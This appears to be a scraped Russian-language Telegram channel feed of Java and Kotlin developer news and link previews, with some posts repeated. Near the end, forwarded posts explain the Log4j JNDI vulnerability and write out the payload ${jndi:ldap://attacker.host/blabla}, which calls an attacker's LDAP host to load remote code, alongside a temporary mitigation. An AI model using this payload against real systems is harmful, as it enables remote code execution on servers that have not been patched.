Релизы продолжаются! Compose Multiplatform 1.0 - теперь у Kotlin есть мультиплатформенная UI библиотека.
https://blog.jetbrains.com/kotlin/2021/12/compose-multiplatform-1-0-is-going-live/
https://blog.jetbrains.com/kotlin/2021/12/compose-multiplatform-1-0-is-going-live/
The JetBrains Blog
Compose Multiplatform 1.0 Is Going Live! | The Kotlin Blog
Compose Multiplatform by JetBrains, the declarative UI framework for Kotlin, has reached version 1.0, which makes it ready for production use! Here are a few highlights that we hope will make you as e
Последний Java Annotated Monthly от Триши https://twitter.com/trisha_gee/status/1466747007612211204
Twitter
Trisha Gee
My Last Ever #JavaAnnotatedMonthly is published! I will be passing the torch on to others at JetBrains to continue the tradition, but after 56 editions I Am Done. It has been an honour to intrude into your inboxes and RSS feeds for the last five years bl…
Forwarded from Oleg Koskin
Встречаемся на ночном образовательном шоу IT Nights 3.0
10 декабря в прямом эфире @JBaruch обещает исповедоваться, а @asm0dey предстоит отстоять честь славного дома Котлин. Ещё будут спикеры из Facebook, Яндекса, VK, X5 Group с другими заданиями. Самое прекрасное, что зрители смогут влиять на происходящее в кадре!
Запоминай:
• 10 декабря в 19:00
• it-nights.ru
• промокод: razborpoletov
Чего бы ты ни ждал — будет иначе 👀
10 декабря в прямом эфире @JBaruch обещает исповедоваться, а @asm0dey предстоит отстоять честь славного дома Котлин. Ещё будут спикеры из Facebook, Яндекса, VK, X5 Group с другими заданиями. Самое прекрасное, что зрители смогут влиять на происходящее в кадре!
Запоминай:
• 10 декабря в 19:00
• it-nights.ru
• промокод: razborpoletov
Чего бы ты ни ждал — будет иначе 👀
Forwarded from Ihar Tigar
интересный фидбэк от RedHat по поводу 2х летних LTS циклов JDK
https://www.redhat.com/en/blog/red-hat-response-java-release-cadence-change
https://www.redhat.com/en/blog/red-hat-response-java-release-cadence-change
Redhat
Red Hat response to Java release cadence change
Red Hat has been a contributor to OpenJDK since its inception, and we are currently one of the most significant contributors to the OpenJDK project, both as developers of new versions and as maintainers of OpenJDK 8u and 11u.
Вот так установишь на телефон Teams, а потом и не позвонить когда надо
https://www.reddit.com/r/GooglePixel/comments/r4xz1f/comment/hnrvsr1/
https://www.reddit.com/r/GooglePixel/comments/r4xz1f/comment/hnrvsr1/
Reddit
PixelCommunity's comment on "Pixel prevented me from calling 911"
Explore this conversation and more from the GooglePixel community
Forwarded from Rust BY
Интересная статейка по сравнению метрик AWS лямбд на разных языках
https://filia-aleks.medium.com/aws-lambda-battle-2021-performance-comparison-for-all-languages-c1b441005fd1
https://filia-aleks.medium.com/aws-lambda-battle-2021-performance-comparison-for-all-languages-c1b441005fd1
Medium
AWS Lambda battle 2021: performance comparison for all languages (cold and warm start)
Let’s compare the performance of all supported runtimes + 2 custom runtimes (Rust and GraalVM).
Forwarded from Sysadmin Tools 🇺🇦
How eBPF will solve Service Mesh - Goodbye Sidecars
https://isovalent.com/blog/post/2021-12-08-ebpf-servicemesh
#ebpf #servicemesh #debug #tracing #k8s #kubernetes
https://isovalent.com/blog/post/2021-12-08-ebpf-servicemesh
#ebpf #servicemesh #debug #tracing #k8s #kubernetes
Forwarded from Artjom Kalita
Forwarded from Полезняшки от "Разбора Полетов"
Встречаемся на ночном образовательном шоу IT Nights 3.0
10 декабря в прямом эфире @JBaruch обещает исповедоваться, а @asm0dey предстоит отстоять честь славного дома Котлин. Ещё будут спикеры из Facebook, Яндекса, VK, X5 Group с другими заданиями. Самое прекрасное, что зрители смогут влиять на происходящее в кадре!
Запоминай:
• 10 декабря в 19:00
• it-nights.ru
• промокод: razborpoletov
Чего бы ты ни ждал — будет иначе 👀
10 декабря в прямом эфире @JBaruch обещает исповедоваться, а @asm0dey предстоит отстоять честь славного дома Котлин. Ещё будут спикеры из Facebook, Яндекса, VK, X5 Group с другими заданиями. Самое прекрасное, что зрители смогут влиять на происходящее в кадре!
Запоминай:
• 10 декабря в 19:00
• it-nights.ru
• промокод: razborpoletov
Чего бы ты ни ждал — будет иначе 👀
Forwarded from Кавычка (Bo0oM)
У половины интернета нашли выполнение произвольного кода через Log4j.
Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс:
Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс:
JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
Amazon explains outage that took out a large chunk of the internet
https://www.engadget.com/amazon-aws-outage-explanation-214151710.html?src=rss
https://www.engadget.com/amazon-aws-outage-explanation-214151710.html?src=rss
Engadget
Amazon explains outage that took out a large chunk of the internet | Engadget
Amazon has explained the AWS outage that knocked a large part of the internet offline, and promised an easier time tracking those failures..
Why Can't Programmers.. Program? (2007)
https://blog.codinghorror.com/why-cant-programmers-program/
https://blog.codinghorror.com/why-cant-programmers-program/
Coding Horror
Why Can’t Programmers... Program?
I was incredulous when I read this observation from Reginald Braithwaite:
Like me, the author is having trouble with the fact that 199 out of 200 applicants for every programming job can’t write code at all. I repeat: they can’t write any code whatsoever.…
Like me, the author is having trouble with the fact that 199 out of 200 applicants for every programming job can’t write code at all. I repeat: they can’t write any code whatsoever.…
[Перевод] Прощай, Grails. Привет, Micronaut. Продолжение
https://habr.com/ru/company/otus/blog/593965/
https://habr.com/ru/company/otus/blog/593965/
Хабр
Прощай, Grails. Привет, Micronaut. Продолжение
Это вторая статья из цикла о миграции из Grails в Micronaut. Обратите внимание: ваше приложение должно быть создано в Grails 4.x или более поздней версии . Всего в цикле публикаций о миграции из...
👍1
Forwarded from IT Юмор
Недавно в Apache Log4j 2, популярном фреймворке для организации ведения логов в Java-приложениях, была выявлена критическая уязвимость.
Она позволяет выполнить произвольный код при записи в лог специально оформленного значения в формате "{jndi:URL}". Атака может быть проведена на Java-приложения, записывающие в лог значения, полученные из внешних источников, например, при выводе проблемных значений в сообщениях об ошибках.
Поэтому держите парочку мемов на эту тему
Она позволяет выполнить произвольный код при записи в лог специально оформленного значения в формате "{jndi:URL}". Атака может быть проведена на Java-приложения, записывающие в лог значения, полученные из внешних источников, например, при выводе проблемных значений в сообщениях об ошибках.
Поэтому держите парочку мемов на эту тему